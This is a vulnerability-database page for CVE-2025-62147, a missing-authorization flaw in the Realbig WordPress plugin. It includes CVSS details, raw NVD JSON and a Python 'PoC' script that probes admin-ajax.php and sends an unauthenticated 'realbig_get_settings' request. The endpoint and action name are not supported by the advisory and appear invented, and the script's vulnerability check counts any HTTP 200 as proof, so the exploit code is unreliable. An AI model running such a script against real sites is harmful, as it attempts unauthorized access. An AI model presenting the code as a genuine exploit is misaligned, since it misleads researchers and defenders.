Security Vulnerability Report
中文
CVE-2025-62147 CVSS 5.3 MEDIUM

CVE-2025-62147

Published: 2025-12-31 15:15:53
Last Modified: 2026-04-23 15:34:38

Description

Missing Authorization vulnerability in nikmelnik Realbig realbig-media allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Realbig: from n/a through <= 1.1.3.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Realbig realbig-media plugin <= 1.1.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62147 PoC - Missing Authorization in Realbig plugin # Affected: WordPress Realbig plugin <= 1.1.3 import requests import sys TARGET = "http://target-wordpress-site.com" def check_vulnerability(): """ Check if the target is vulnerable to CVE-2025-62147 This vulnerability allows unauthorized access to protected functions """ # Try to access admin functions without authentication endpoints = [ f"{TARGET}/wp-admin/admin-ajax.php", f"{TARGET}/wp-json/wp/v2/realbig", ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) # If we get a 200 response instead of 401/403, vulnerability exists if response.status_code == 200: print(f"[+] Potential vulnerability at: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False def exploit_unauthorized_access(): """ Exploit the missing authorization to access protected data """ # Example: Access plugin settings without authentication exploit_payload = { 'action': 'realbig_get_settings', 'nonce': '' } try: response = requests.post( f"{TARGET}/wp-admin/admin-ajax.php", data=exploit_payload, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") except requests.RequestException as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": print("[*] CVE-2025-62147 Realbig Plugin Authorization Bypass") print("[*] Target:", TARGET) if check_vulnerability(): print("[!] Target appears to be vulnerable!") print("[*] Attempting exploitation...") exploit_unauthorized_access() else: print("[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62147", "sourceIdentifier": "[email protected]", "published": "2025-12-31T15:15:53.367", "lastModified": "2026-04-23T15:34:37.760", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in nikmelnik Realbig realbig-media allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Realbig: from n/a through <= 1.1.3."}, {"lang": "es", "value": "Vulnerabilidad de falta de autorización en Nik Melnik Realbig permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Realbig: desde n/a hasta 1.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/realbig-media/vulnerability/wordpress-realbig-plugin-1-1-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}